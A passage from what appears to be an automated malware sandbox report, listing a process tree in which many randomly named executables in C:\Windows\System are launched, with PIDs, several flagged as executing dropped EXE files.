- C:\Windows\System\huTOSlR.exe
  C:\Windows\System\huTOSlR.exe
  2⤵
  - Executes dropped EXE
  PID:1756
- C:\Windows\System\nFaQpAM.exe
  C:\Windows\System\nFaQpAM.exe
  2⤵
  - Executes dropped EXE
  PID:216
- C:\Windows\System\ATkOINk.exe
  C:\Windows\System\ATkOINk.exe
  2⤵
  - Executes dropped EXE
  PID:1460
- C:\Windows\System\njrbmtc.exe
  C:\Windows\System\njrbmtc.exe
  2⤵
  - Executes dropped EXE
  PID:4976
- C:\Windows\System\mSVties.exe
  C:\Windows\System\mSVties.exe
  2⤵
  - Executes dropped EXE
  PID:1420
- C:\Windows\System\NAKhoFd.exe
  C:\Windows\System\NAKhoFd.exe
  2⤵
  - Executes dropped EXE
  PID:1952
- C:\Windows\System\sVuKKuE.exe
  C:\Windows\System\sVuKKuE.exe
  2⤵
  - Executes dropped EXE
  PID:4812
- C:\Windows\System\PTZpnks.exe
  C:\Windows\System\PTZpnks.exe
  2⤵
  - Executes dropped EXE
  PID:2864
- C:\Windows\System\JCVdEFa.exe
  C:\Windows\System\JCVdEFa.exe
  2⤵
  - Executes dropped EXE
  PID:748
- C:\Windows\System\kbJPEHa.exe
  C:\Windows\System\kbJPEHa.exe
  2⤵
  - Executes dropped EXE
  PID:2000
- C:\Windows\System\uhNEAaL.exe
  C:\Windows\System\uhNEAaL.exe
  2⤵
  - Executes dropped EXE
  PID:4488
- C:\Windows\System\ZyFNTGY.exe
  C:\Windows\System\ZyFNTGY.exe
  2⤵
  - Executes dropped EXE
  PID:2020
- C:\Windows\System\PUBwXwj.exe
  C:\Windows\System\PUBwXwj.exe
  2⤵
  - Executes dropped EXE
  PID:4380
- C:\Windows\System\bMJDLeS.exe
  C:\Windows\System\bMJDLeS.exe
  2⤵
  - Executes dropped EXE
  PID:1320
- C:\Windows\System\UiQFInT.exe
  C:\Windows\System\UiQFInT.exe
  2⤵
  - Executes dropped EXE
  PID:1720
- C:\Windows\System\kKoSQSQ.exe
  C:\Windows\System\kKoSQSQ.exe
  2⤵
  - Executes dropped EXE
  PID:3100
- C:\Windows\System\QQkLzKO.exe
  C:\Windows\System\QQkLzKO.exe
  2⤵
  - Executes dropped EXE
  PID:1664
- C:\Windows\System\fECoZGF.exe
  C:\Windows\System\fECoZGF.exe
  2⤵
  - Executes dropped EXE
  PID:3272
- C:\Windows\System\rTBtsAS.exe
  C:\Windows\System\rTBtsAS.exe
  2⤵
  - Executes dropped EXE
  PID:264
- C:\Windows\System\ETVBLGp.exe
  C:\Windows\System\ETVBLGp.exe
  2⤵
  - Executes dropped EXE
  PID:3604
- C:\Windows\System\huCdESu.exe
  C:\Windows\System\huCdESu.exe
  2⤵
  - Executes dropped EXE
  PID:4180
- C:\Windows\System\xdFtjGY.exe
  C:\Windows\System\xdFtjGY.exe
  2⤵
  - Executes dropped EXE
  PID:4808
- C:\Windows\System\eDTVBYu.exe
  C:\Windows\System\eDTVBYu.exe
  2⤵
  - Executes dropped EXE
  PID:2116
- C:\Windows\System\mJTqjhj.exe
  C:\Windows\System\mJTqjhj.exe
  2⤵
  - Executes dropped EXE
  PID:1196
- C:\Windows\System\Ahmltcm.exe
  C:\Windows\System\Ahmltcm.exe
  2⤵
  - Executes dropped EXE
  PID:4396
- C:\Windows\System\KuJfAJG.exe
  C:\Windows\System\KuJfAJG.exe
  2⤵
  - Executes dropped EXE
  PID:3748
- C:\Windows\System\PQfuRuJ.exe
  C:\Windows\System\PQfuRuJ.exe
  2⤵
  - Executes dropped EXE
  PID:2944
- C:\Windows\System\zwwytEu.exe
  C:\Windows\System\zwwytEu.exe
  2⤵
  - Executes dropped EXE
  PID:3608
- C:\Windows\System\nJLKvkj.exe
  C:\Windows\System\nJLKvkj.exe
  2⤵
  - Executes dropped EXE
  PID:5048
- C:\Windows\System\hANHPuy.exe
  C:\Windows\System\hANHPuy.exe
  2⤵
  - Executes dropped EXE
  PID:384
- C:\Windows\System\wnnfwVx.exe
  C:\Windows\System\wnnfwVx.exe
  2⤵
  PID:3148
- C:\Windows\System\pYHdCsg.exe
  C:\Windows\System\pYHdCsg.exe
  2⤵
  PID:4192
- C:\Windows\System\RGQVzJP.exe
  C:\Windows\System\RGQVzJP.exe
  2⤵
  PID:1352
- C:\Windows\System\qNQVChg.exe
  C:\Windows\System\qNQVChg.exe
  2⤵
  PID:2404
- C:\Windows\System\gZTBoGb.exe
  C:\Windows\System\gZTBoGb.exe
  2⤵
  PID:1764
- C:\Windows\System\nPglbZv.exe
  C:\Windows\System\nPglbZv.exe
  2⤵
  PID:2148
- C:\Windows\System\AzWuKiq.exe
  C:\Windows\System\AzWuKiq.exe
  2⤵
  PID:4992
- C:\Windows\System\UprkMSs.exe
  C:\Windows\System\UprkMSs.exe
  2⤵
  PID:2920
- C:\Windows\System\TbPXZLy.exe
  C:\Windows\System\TbPXZLy.exe
  2⤵
  PID:1140
- C:\Windows\System\gkLBDUK.exe
  C:\Windows\System\gkLBDUK.exe
  2⤵
  PID:464
- C:\Windows\System\EpuwUlV.exe
  C:\Windows\System\EpuwUlV.exe
  2⤵
  PID:4964
- C:\Windows\System\qbhfFVz.exe
  C:\Windows\System\qbhfFVz.exe
  2⤵
  PID:4624
- C:\Windows\System\FhPAArd.exe
  C:\Windows\System\FhPAArd.exe
  2⤵
  PID:5124
- C:\Windows\System\dRgjlrC.exe
  C:\Windows\System\dRgjlrC.exe
  2⤵
  PID:5176
- C:\Windows\System\IdJeLdX.exe
  C:\Windows\System\IdJeLdX.exe
  2⤵
  PID:5196
- C:\Windows\System\aIrvvsy.exe
  C:\Windows\System\aIrvvsy.exe
  2⤵
  PID:5220
- C:\Windows\System\MCyGDPo.exe
  C:\Windows\System\MCyGDPo.exe
  2⤵
  PID:5280
- C:\Windows\System\guphHvO.exe
  C:\Windows\System\guphHvO.exe
  2⤵
  PID:5304
- C:\Windows\System\YxgrHsX.exe
  C:\Windows\System\YxgrHsX.exe
  2⤵
  PID:5324
- C:\Windows\System\owiGGcf.exe
  C:\Windows\System\owiGGcf.exe
  2⤵
  PID:5344
- C:\Windows\System\TgTDyxA.exe
  C:\Windows\System\TgTDyxA.exe
  2⤵
  PID:5360
- C:\Windows\System\FpQTbua.exe
  C:\Windows\System\FpQTbua.exe
  2⤵
  PID:5376
- C:\Windows\System\reeHuzT.exe
  C:\Windows\System\reeHuzT.exe
  2⤵
  PID:5396
- C:\Windows\System\TqYAYIJ.exe
  C:\Windows\System\TqYAYIJ.exe
  2⤵
  PID:5412
- C:\Windows\System\uBelPLP.exe
  C:\Windows\System\uBelPLP.exe
  2⤵
  PID:5432
- C:\Windows\System\CcSZlUI.exe
  C:\Windows\System\CcSZlUI.exe
  2⤵
  PID:5448
- C:\Windows\System\zRlvGPP.exe
  C:\Windows\System\zRlvGPP.exe
  2⤵
  PID:5468
- C:\Windows\System\xLTKZJA.exe
  C:\Windows\System\xLTKZJA.exe
  2⤵
  PID:5492
- C:\Windows\System\IgaxmIR.exe
  C:\Windows\System\IgaxmIR.exe
  2⤵
  PID:5640
- C:\Windows\System\zWqNUdl.exe
  C:\Windows\System\zWqNUdl.exe
  2⤵
  PID:5656
- C:\Windows\System\BYYZGJI.exe
  C:\Windows\System\BYYZGJI.exe
  2⤵
  PID:5688
- C:\Windows\System\FjmHCYS.exe
  C:\Windows\System\FjmHCYS.exe
  2⤵
  PID:5708
- C:\Windows\System\nOcqORK.exe
  C:\Windows\System\nOcqORK.exe
  2⤵
  PID:5724
- C:\Windows\System\lgGRirY.exe
  C:\Windows\System\lgGRirY.exe
  2⤵
  PID:5744
- C:\Windows\System\XzdsHIK.exe
  C:\Windows\System\XzdsHIK.exe
  2⤵
  PID:5788
- C:\Windows\System\LLWYvOw.exe
  C:\Windows\System\LLWYvOw.exe
  2⤵
  PID:5804
- C:\Windows\System\OqZTZAu.exe
  C:\Windows\System\OqZTZAu.exe
  2⤵
  PID:5832
- C:\Windows\System\JolRPWa.exe
  C:\Windows\System\JolRPWa.exe
  2⤵
  PID:5856
- C:\Windows\System\ksgFjiO.exe
  C:\Windows\System\ksgFjiO.exe
  2⤵
  PID:5884
- C:\Windows\System\DFHVqIO.exe
  C:\Windows\System\DFHVqIO.exe
  2⤵
  PID:5940
- C:\Windows\System\ZPwzohW.exe
  C:\Windows\System\ZPwzohW.exe
  2⤵
  PID:5956
- C:\Windows\System\oOVwbTu.exe
  C:\Windows\System\oOVwbTu.exe
  2⤵
  PID:5980
- C:\Windows\System\FqWnynK.exe
  C:\Windows\System\FqWnynK.exe
  2⤵
  PID:6020
- C:\Windows\System\AdjokOe.exe
  C:\Windows\System\AdjokOe.exe
  2⤵
  PID:6036
- C:\Windows\System\VcQkgXr.exe
  C:\Windows\System\VcQkgXr.exe
  2⤵
  PID:6052
- C:\Windows\System\gPXHPpq.exe
  C:\Windows\System\gPXHPpq.exe
  2⤵
  PID:6136
- C:\Windows\System\tVzcHQh.exe
  C:\Windows\System\tVzcHQh.exe
  2⤵
  PID:4532
- C:\Windows\System\dpKcPxM.exe
  C:\Windows\System\dpKcPxM.exe
  2⤵
  PID:4352
- C:\Windows\System\FRqohYY.exe
  C:\Windows\System\FRqohYY.exe
  2⤵
  PID:1136
- C:\Windows\System\lQAimBm.exe
  C:\Windows\System\lQAimBm.exe
  2⤵
  PID:5148
- C:\Windows\System\kcmIXzi.exe
  C:\Windows\System\kcmIXzi.exe
  2⤵
  PID:320
- C:\Windows\System\ZPcVdfY.exe
  C:\Windows\System\ZPcVdfY.exe
  2⤵
  PID:5336
- C:\Windows\System\HqKWoKM.exe
  C:\Windows\System\HqKWoKM.exe
  2⤵
  PID:5408
- C:\Windows\System\SDYdLAs.exe
  C:\Windows\System\SDYdLAs.exe
  2⤵
  PID:5444
- C:\Windows\System\fAfRbkW.exe
  C:\Windows\System\fAfRbkW.exe
  2⤵
  PID:5592
- C:\Windows\System\XLnDZom.exe
  C:\Windows\System\XLnDZom.exe
  2⤵
  PID:5628
- C:\Windows\System\zcDurle.exe
  C:\Windows\System\zcDurle.exe
  2⤵
  PID:5652
- C:\Windows\System\sOlXRcX.exe
  C:\Windows\System\sOlXRcX.exe
  2⤵
  PID:5720
- C:\Windows\System\dKJpwDp.exe
  C:\Windows\System\dKJpwDp.exe
  2⤵
  PID:5892
- C:\Windows\System\OwRctvn.exe
  C:\Windows\System\OwRctvn.exe
  2⤵
  PID:5864
- C:\Windows\System\FxjblGv.exe
  C:\Windows\System\FxjblGv.exe
  2⤵
  PID:1340
- C:\Windows\System\nBfcyVX.exe
  C:\Windows\System\nBfcyVX.exe
  2⤵
  PID:1964
- C:\Windows\System\FZptLyZ.exe
  C:\Windows\System\FZptLyZ.exe
  2⤵
  PID:2724
- C:\Windows\System\SlXVeYx.exe
  C:\Windows\System\SlXVeYx.exe
  2⤵
  PID:1308
- C:\Windows\System\HacHLNK.exe
  C:\Windows\System\HacHLNK.exe
  2⤵
  PID:4544
- C:\Windows\System\nFRUJMp.exe
  C:\Windows\System\nFRUJMp.exe
  2⤵
  PID:5208
- C:\Windows\System\UcGrzdd.exe
  C:\Windows\System\UcGrzdd.exe
  2⤵
  PID:2008
- C:\Windows\System\zGvgevc.exe
  C:\Windows\System\zGvgevc.exe
  2⤵
  PID:3128
- C:\Windows\System\NOGEgIM.exe
  C:\Windows\System\NOGEgIM.exe
  2⤵
  PID:5356
- C:\Windows\System\lLhaBWN.exe
  C:\Windows\System\lLhaBWN.exe
  2⤵
  PID:5428
- C:\Windows\System\ROdAzAS.exe
  C:\Windows\System\ROdAzAS.exe
  2⤵
  PID:3048
- C:\Windows\System\DPcZIKy.exe
  C:\Windows\System\DPcZIKy.exe
  2⤵
  PID:3196
- C:\Windows\System\aBGmWkG.exe
  C:\Windows\System\aBGmWkG.exe
  2⤵
  PID:6032
- C:\Windows\System\JplDANr.exe
  C:\Windows\System\JplDANr.exe
  2⤵
  PID:3164
- C:\Windows\System\oqhBeSM.exe
  C:\Windows\System\oqhBeSM.exe
  2⤵
  PID:540
- C:\Windows\System\sHcJNHI.exe
  C:\Windows\System\sHcJNHI.exe
  2⤵
  PID:3132
- C:\Windows\System\RAeUqhN.exe
  C:\Windows\System\RAeUqhN.exe
  2⤵
  PID:3088
- C:\Windows\System\vbfipfX.exe
  C:\Windows\System\vbfipfX.exe
  2⤵
  PID:2180
- C:\Windows\System\jxmJRip.exe
  C:\Windows\System\jxmJRip.exe
  2⤵
  PID:5184
- C:\Windows\System\rAbrDvP.exe
  C:\Windows\System\rAbrDvP.exe
  2⤵
  PID:5168
- C:\Windows\System\zcfNVIy.exe
  C:\Windows\System\zcfNVIy.exe
  2⤵
  PID:5076
- C:\Windows\System\GQplOPo.exe
  C:\Windows\System\GQplOPo.exe
  2⤵
  PID:1036
- C:\Windows\System\dtJkhSk.exe
  C:\Windows\System\dtJkhSk.exe
  2⤵
  PID:1540
- C:\Windows\System\qVvLPsD.exe
  C:\Windows\System\qVvLPsD.exe
  2⤵
  PID:1612
- C:\Windows\System\rBajmqV.exe
  C:\Windows\System\rBajmqV.exe
  2⤵
  PID:6160
- C:\Windows\System\rIFbYcZ.exe
  C:\Windows\System\rIFbYcZ.exe
  2⤵
  PID:6184
- C:\Windows\System\jpzdffC.exe
  C:\Windows\System\jpzdffC.exe
  2⤵
  PID:6216
- C:\Windows\System\qRqiAzc.exe
  C:\Windows\System\qRqiAzc.exe
  2⤵
  PID:6268
- C:\Windows\System\afGsxKN.exe
  C:\Windows\System\afGsxKN.exe
  2⤵
  PID:6284
- C:\Windows\System\EAGRbSn.exe
  C:\Windows\System\EAGRbSn.exe
  2⤵
  PID:6304
- C:\Windows\System\fIdhiJM.exe
  C:\Windows\System\fIdhiJM.exe
  2⤵
  PID:6324
- C:\Windows\System\zmrMVtT.exe
  C:\Windows\System\zmrMVtT.exe
  2⤵
  PID:6340
- C:\Windows\System\MdivRhH.exe
  C:\Windows\System\MdivRhH.exe
  2⤵
  PID:6356
- C:\Windows\System\hwTARLf.exe
  C:\Windows\System\hwTARLf.exe
  2⤵
  PID:6388
- C:\Windows\System\rfFzDGT.exe
  C:\Windows\System\rfFzDGT.exe
  2⤵
  PID:6468
- C:\Windows\System\lSOXVib.exe
  C:\Windows\System\lSOXVib.exe
  2⤵
  PID:6528
- C:\Windows\System\iIvmWaG.exe
  C:\Windows\System\iIvmWaG.exe
  2⤵
  PID:6600
- C:\Windows\System\gBRogMe.exe
  C:\Windows\System\gBRogMe.exe
  2⤵
  PID:6632
- C:\Windows\System\gxnXCZB.exe
  C:\Windows\System\gxnXCZB.exe
  2⤵
  PID:6656
- C:\Windows\System\YDPbXos.exe
  C:\Windows\System\YDPbXos.exe
  2⤵
  PID:6672
- C:\Windows\System\StOViFJ.exe
  C:\Windows\System\StOViFJ.exe
  2⤵
  PID:6692
- C:\Windows\System\zjVtOfM.exe
  C:\Windows\System\zjVtOfM.exe
  2⤵
  PID:6720
- C:\Windows\System\WJZMgyl.exe
  C:\Windows\System\WJZMgyl.exe
  2⤵
  PID:6752
- C:\Windows\System\ETUjQlQ.exe
  C:\Windows\System\ETUjQlQ.exe
  2⤵
  PID:6772
- C:\Windows\System\HyAwZoA.exe
  C:\Windows\System\HyAwZoA.exe
  2⤵
  PID:6796
- C:\Windows\System\tupYwvV.exe
  C:\Windows\System\tupYwvV.exe
  2⤵
  PID:6816
- C:\Windows\System\MVXVdzE.exe
  C:\Windows\System\MVXVdzE.exe
  2⤵
  PID:6840
- C:\Windows\System\RJbLjeA.exe
  C:\Windows\System\RJbLjeA.exe
  2⤵
  PID:6868
- C:\Windows\System\XUnhkmo.exe
  C:\Windows\System\XUnhkmo.exe
  2⤵
  PID:6884
- C:\Windows\System\EqDgmDM.exe
  C:\Windows\System\EqDgmDM.exe
  2⤵
  PID:6916
- C:\Windows\System\QxeCyNK.exe
  C:\Windows\System\QxeCyNK.exe
  2⤵
  PID:6936
- C:\Windows\System\WrkTHHQ.exe
  C:\Windows\System\WrkTHHQ.exe
  2⤵
  PID:6952
- C:\Windows\System\MWNOZCK.exe
  C:\Windows\System\MWNOZCK.exe
  2⤵
  PID:6988
- C:\Windows\System\UiXLQFd.exe
  C:\Windows\System\UiXLQFd.exe
  2⤵
  PID:7008
- C:\Windows\System\TpDqEOs.exe
  C:\Windows\System\TpDqEOs.exe
  2⤵
  PID:7024
- C:\Windows\System\vrUczAv.exe
  C:\Windows\System\vrUczAv.exe
  2⤵
  PID:7044
- C:\Windows\System\bdzkURU.exe
  C:\Windows\System\bdzkURU.exe
  2⤵
  PID:7064
- C:\Windows\System\EkwYeyH.exe
  C:\Windows\System\EkwYeyH.exe
  2⤵
  PID:7092
- C:\Windows\System\WokQLXW.exe
  C:\Windows\System\WokQLXW.exe
  2⤵
  PID:7116
- C:\Windows\System\PaNdjhe.exe
  C:\Windows\System\PaNdjhe.exe
  2⤵
  PID:1516
- C:\Windows\System\pbErUWa.exe
  C:\Windows\System\pbErUWa.exe
  2⤵
  PID:6148
- C:\Windows\System\porNbxp.exe
  C:\Windows\System\porNbxp.exe
  2⤵
  PID:5056
- C:\Windows\System\pzLGcXx.exe
  C:\Windows\System\pzLGcXx.exe
  2⤵
  PID:6204
- C:\Windows\System\wMuzMIQ.exe
  C:\Windows\System\wMuzMIQ.exe
  2⤵
  PID:4492
- C:\Windows\System\PSGRxdN.exe
  C:\Windows\System\PSGRxdN.exe
  2⤵
  PID:6312
- C:\Windows\System\XAYJxtj.exe
  C:\Windows\System\XAYJxtj.exe
  2⤵
  PID:6300
- C:\Windows\System\nfNqiDI.exe
  C:\Windows\System\nfNqiDI.exe
  2⤵
  PID:6512
- C:\Windows\System\ZOIViVh.exe
  C:\Windows\System\ZOIViVh.exe
  2⤵
  PID:6564
- C:\Windows\System\DItqImC.exe
  C:\Windows\System\DItqImC.exe
  2⤵
  PID:6644
- C:\Windows\System\saMVCPE.exe
  C:\Windows\System\saMVCPE.exe
  2⤵
  PID:6788
- C:\Windows\System\zZYeEvA.exe
  C:\Windows\System\zZYeEvA.exe
  2⤵
  PID:3188
- C:\Windows\System\spfToFA.exe
  C:\Windows\System\spfToFA.exe
  2⤵
  PID:2016
- C:\Windows\System\xDpEWki.exe
  C:\Windows\System\xDpEWki.exe
  2⤵
  PID:4484
- C:\Windows\System\YBneiIr.exe
  C:\Windows\System\YBneiIr.exe
  2⤵
  PID:3004
- C:\Windows\System\pYmZWeK.exe
  C:\Windows\System\pYmZWeK.exe
  2⤵
  PID:7032
- C:\Windows\System\ZcpPlIJ.exe
  C:\Windows\System\ZcpPlIJ.exe
  2⤵
  PID:7128
- C:\Windows\System\ueeVSJW.exe
  C:\Windows\System\ueeVSJW.exe
  2⤵
  PID:7104
- C:\Windows\System\gnqOZJV.exe
  C:\Windows\System\gnqOZJV.exe
  2⤵
  PID:7072
- C:\Windows\System\mPgWdSU.exe
  C:\Windows\System\mPgWdSU.exe
  2⤵
  PID:5636
- C:\Windows\System\YgZuaQM.exe
  C:\Windows\System\YgZuaQM.exe
  2⤵
  PID:1892
- C:\Windows\System\YEkNJxv.exe
  C:\Windows\System\YEkNJxv.exe
  2⤵
  PID:1616
- C:\Windows\System\BHTUbYL.exe
  C:\Windows\System\BHTUbYL.exe
  2⤵
  PID:312
- C:\Windows\System\iYszdiC.exe
  C:\Windows\System\iYszdiC.exe
  2⤵
  PID:4892
- C:\Windows\System\cTyVkAl.exe
  C:\Windows\System\cTyVkAl.exe
  2⤵
  PID:6276
- C:\Windows\System\FwpvGyL.exe
  C:\Windows\System\FwpvGyL.exe
  2⤵
  PID:4248
- C:\Windows\System\TqUHnlQ.exe
  C:\Windows\System\TqUHnlQ.exe
  2⤵
  PID:5052
- C:\Windows\System\pieDEWv.exe
  C:\Windows\System\pieDEWv.exe
  2⤵
  PID:2292
- C:\Windows\System\plmmTxp.exe
  C:\Windows\System\plmmTxp.exe
  2⤵
  PID:6580
- C:\Windows\System\qeZPLss.exe
  C:\Windows\System\qeZPLss.exe
  2⤵
  PID:6944
- C:\Windows\System\BdQWdOY.exe
  C:\Windows\System\BdQWdOY.exe
  2⤵
  PID:2484
- C:\Windows\System\kOCeLzo.exe
  C:\Windows\System\kOCeLzo.exe
  2⤵
  PID:5388
- C:\Windows\System\oPbdtpd.exe
  C:\Windows\System\oPbdtpd.exe
  2⤵
  PID:7056
- C:\Windows\System\qzRSFpu.exe
  C:\Windows\System\qzRSFpu.exe
  2⤵
  PID:7156
- C:\Windows\System\wvKSFmb.exe
  C:\Windows\System\wvKSFmb.exe
  2⤵
  PID:7084
- C:\Windows\System\aYyAeZv.exe
  C:\Windows\System\aYyAeZv.exe
  2⤵
  PID:7148
- C:\Windows\System\LfpRbNW.exe
  C:\Windows\System\LfpRbNW.exe
  2⤵
  PID:4112
- C:\Windows\System\GeppHJK.exe
  C:\Windows\System\GeppHJK.exe
  2⤵
  PID:960
- C:\Windows\System\fwYCAex.exe
  C:\Windows\System\fwYCAex.exe
  2⤵
  PID:2256
- C:\Windows\System\RhwfTgV.exe
  C:\Windows\System\RhwfTgV.exe
  2⤵
  PID:2912
- C:\Windows\System\MGxVRFi.exe
  C:\Windows\System\MGxVRFi.exe
  2⤵
  PID:6244
- C:\Windows\System\SpTxtTK.exe
  C:\Windows\System\SpTxtTK.exe
  2⤵
  PID:6384
- C:\Windows\System\eKXhLoJ.exe
  C:\Windows\System\eKXhLoJ.exe
  2⤵
  PID:6588
- C:\Windows\System\cqNGhEB.exe
  C:\Windows\System\cqNGhEB.exe
  2⤵
  PID:6096
- C:\Windows\System\uZKFOOo.exe
  C:\Windows\System\uZKFOOo.exe
  2⤵
  PID:3616
- C:\Windows\System\VYjsEAy.exe
  C:\Windows\System\VYjsEAy.exe
  2⤵
  PID:7280
- C:\Windows\System\rBuFAkC.exe
  C:\Windows\System\rBuFAkC.exe
  2⤵
  PID:7376
- C:\Windows\System\yorfuyC.exe
  C:\Windows\System\yorfuyC.exe
  2⤵
  PID:7408
- C:\Windows\System\bwQlfgs.exe
  C:\Windows\System\bwQlfgs.exe
  2⤵
  PID:7432
- C:\Windows\System\pYxEUHp.exe
  C:\Windows\System\pYxEUHp.exe
  2⤵
  PID:7460
- C:\Windows\System\zpgdSSy.exe
  C:\Windows\System\zpgdSSy.exe
  2⤵
  PID:7556
- C:\Windows\System\SQjNwxf.exe
  C:\Windows\System\SQjNwxf.exe
  2⤵
  PID:7576
- C:\Windows\System\LQJycZz.exe
  C:\Windows\System\LQJycZz.exe
  2⤵
  PID:7684
- C:\Windows\System\HtZuJvH.exe
  C:\Windows\System\HtZuJvH.exe
  2⤵
  PID:7700
- C:\Windows\System\NTIAAam.exe
  C:\Windows\System\NTIAAam.exe
  2⤵
  PID:7720
- C:\Windows\System\gDHkwBk.exe
  C:\Windows\System\gDHkwBk.exe
  2⤵
  PID:7736
- C:\Windows\System\pshchAh.exe
  C:\Windows\System\pshchAh.exe
  2⤵
  PID:7752
- C:\Windows\System\PRfQPgG.exe
  C:\Windows\System\PRfQPgG.exe
  2⤵
  PID:7816
- C:\Windows\System\ScSlbIu.exe
  C:\Windows\System\ScSlbIu.exe
  2⤵
  PID:7868
- C:\Windows\System\YJfFVbU.exe
  C:\Windows\System\YJfFVbU.exe
  2⤵
  PID:7884
- C:\Windows\System\mWBroRG.exe
  C:\Windows\System\mWBroRG.exe
  2⤵
  PID:7904
- C:\Windows\System\YkccdHl.exe
  C:\Windows\System\YkccdHl.exe
  2⤵
  PID:7920
- C:\Windows\System\CgVHYMu.exe
  C:\Windows\System\CgVHYMu.exe
  2⤵
  PID:7948
- C:\Windows\System\NiUWzFi.exe
  C:\Windows\System\NiUWzFi.exe
  2⤵
  PID:8008
- C:\Windows\System\apapCXb.exe
  C:\Windows\System\apapCXb.exe
  2⤵
  PID:8036
- C:\Windows\System\voHmknJ.exe
  C:\Windows\System\voHmknJ.exe
  2⤵
  PID:8068
- C:\Windows\System\QlkxaRw.exe
  C:\Windows\System\QlkxaRw.exe
  2⤵
  PID:8092
- C:\Windows\System\vpNowSb.exe
  C:\Windows\System\vpNowSb.exe
  2⤵
  PID:8148
- C:\Windows\System\tqRVWCY.exe
  C:\Windows\System\tqRVWCY.exe
  2⤵
  PID:6336
- C:\Windows\System\uneozSW.exe
  C:\Windows\System\uneozSW.exe
  2⤵
  PID:5664
- C:\Windows\System\EFTEAeO.exe
  C:\Windows\System\EFTEAeO.exe
  2⤵
  PID:4980
- C:\Windows\System\SQWfvku.exe
  C:\Windows\System\SQWfvku.exe
  2⤵
  PID:7240
- C:\Windows\System\rgdxeUa.exe
  C:\Windows\System\rgdxeUa.exe
  2⤵
  PID:1428
- C:\Windows\System\rMpRkTC.exe
  C:\Windows\System\rMpRkTC.exe
  2⤵
  PID:7308
- C:\Windows\System\oTSaLHA.exe
  C:\Windows\System\oTSaLHA.exe
  2⤵
  PID:7264
- C:\Windows\System\YXGblwW.exe
  C:\Windows\System\YXGblwW.exe
  2⤵
  PID:7368
- C:\Windows\System\iSBRUPE.exe
  C:\Windows\System\iSBRUPE.exe
  2⤵
  PID:7424
- C:\Windows\System\bcUysCS.exe
  C:\Windows\System\bcUysCS.exe
  2⤵
  PID:7588
- C:\Windows\System\suEeJlo.exe
  C:\Windows\System\suEeJlo.exe
  2⤵
  PID:7512
- C:\Windows\System\nwpGktC.exe
  C:\Windows\System\nwpGktC.exe
  2⤵
  PID:7544
- C:\Windows\System\ZuFxmIu.exe
  C:\Windows\System\ZuFxmIu.exe
  2⤵
  PID:7620
- C:\Windows\System\nxRCFCd.exe
  C:\Windows\System\nxRCFCd.exe
  2⤵
  PID:7592
- C:\Windows\System\OYnSjbZ.exe
  C:\Windows\System\OYnSjbZ.exe
  2⤵
  PID:4056
- C:\Windows\System\PtGkpTG.exe
  C:\Windows\System\PtGkpTG.exe
  2⤵
  PID:7708
- C:\Windows\System\TkjnvGE.exe
  C:\Windows\System\TkjnvGE.exe
  2⤵
  PID:7732
- C:\Windows\System\NlescLH.exe
  C:\Windows\System\NlescLH.exe
  2⤵
  PID:7764
- C:\Windows\System\waJaoRq.exe
  C:\Windows\System\waJaoRq.exe
  2⤵
  PID:7772
- C:\Windows\System\yBopDzv.exe
  C:\Windows\System\yBopDzv.exe
  2⤵
  PID:3200
- C:\Windows\System\iWNMdHR.exe
  C:\Windows\System\iWNMdHR.exe
  2⤵
  PID:7780
- C:\Windows\System\xaJcJkM.exe
  C:\Windows\System\xaJcJkM.exe
  2⤵
  PID:7880
- C:\Windows\System\mwHtsJq.exe
  C:\Windows\System\mwHtsJq.exe
  2⤵
  PID:7792
- C:\Windows\System\wbCejUr.exe
  C:\Windows\System\wbCejUr.exe
  2⤵
  PID:7992
- C:\Windows\System\ACGcles.exe
  C:\Windows\System\ACGcles.exe
  2⤵
  PID:368
- C:\Windows\System\THPdspk.exe
  C:\Windows\System\THPdspk.exe
  2⤵
  PID:4612
- C:\Windows\System\AsAckFq.exe
  C:\Windows\System\AsAckFq.exe
  2⤵
  PID:8112
- C:\Windows\System\SNmeuTd.exe
  C:\Windows\System\SNmeuTd.exe
  2⤵
  PID:4432
- C:\Windows\System\YOdZKMr.exe
  C:\Windows\System\YOdZKMr.exe
  2⤵
  PID:8136
- C:\Windows\System\yOQHMsr.exe
  C:\Windows\System\yOQHMsr.exe
  2⤵
  PID:8176
- C:\Windows\System\TqNowFB.exe
  C:\Windows\System\TqNowFB.exe
  2⤵
  PID:5172
- C:\Windows\System\gXKZDvD.exe
  C:\Windows\System\gXKZDvD.exe
  2⤵
  PID:5964
- C:\Windows\System\XfRNYoU.exe
  C:\Windows\System\XfRNYoU.exe
  2⤵
  PID:908
- C:\Windows\System\LXsNPPU.exe
  C:\Windows\System\LXsNPPU.exe
  2⤵
  PID:4640
- C:\Windows\System\aWcnNNv.exe
  C:\Windows\System\aWcnNNv.exe
  2⤵
  PID:7388
- C:\Windows\System\kkAQtpr.exe
  C:\Windows\System\kkAQtpr.exe
  2⤵
  PID:1712
- C:\Windows\System\FNQAivK.exe
  C:\Windows\System\FNQAivK.exe
  2⤵
  PID:7660
- C:\Windows\System\GwqCWEe.exe
  C:\Windows\System\GwqCWEe.exe
  2⤵
  PID:5972
- C:\Windows\System\TwZvutL.exe
  C:\Windows\System\TwZvutL.exe
  2⤵
  PID:7656
- C:\Windows\System\iQOLtyr.exe
  C:\Windows\System\iQOLtyr.exe
  2⤵
  PID:2132
- C:\Windows\System\RxfGUkb.exe
  C:\Windows\System\RxfGUkb.exe
  2⤵
  PID:5088
- C:\Windows\System\PsfoSmh.exe
  C:\Windows\System\PsfoSmh.exe
  2⤵
  PID:1572
- C:\Windows\System\vwhktKX.exe
  C:\Windows\System\vwhktKX.exe
  2⤵
  PID:7892
- C:\Windows\System\lxSFECE.exe
  C:\Windows\System\lxSFECE.exe
  2⤵
  PID:1880
- C:\Windows\System\RGYQuli.exe
  C:\Windows\System\RGYQuli.exe
  2⤵
  PID:6420
- C:\Windows\System\okdLZqm.exe
  C:\Windows\System\okdLZqm.exe
  2⤵
  PID:8000
- C:\Windows\System\ZobwkPB.exe
  C:\Windows\System\ZobwkPB.exe
  2⤵
  PID:5404
- C:\Windows\System\eAbKAmg.exe
  C:\Windows\System\eAbKAmg.exe
  2⤵
  PID:1180
- C:\Windows\System\hxocglt.exe
  C:\Windows\System\hxocglt.exe
  2⤵
  PID:6996
- C:\Windows\System\upfFLag.exe
  C:\Windows\System\upfFLag.exe
  2⤵
  PID:7228
- C:\Windows\System\OnbbAkU.exe
  C:\Windows\System\OnbbAkU.exe
  2⤵
  PID:7324
- C:\Windows\System\ITqZYyo.exe
  C:\Windows\System\ITqZYyo.exe
  2⤵
  PID:5232
- C:\Windows\System\fqSxGKP.exe
  C:\Windows\System\fqSxGKP.exe
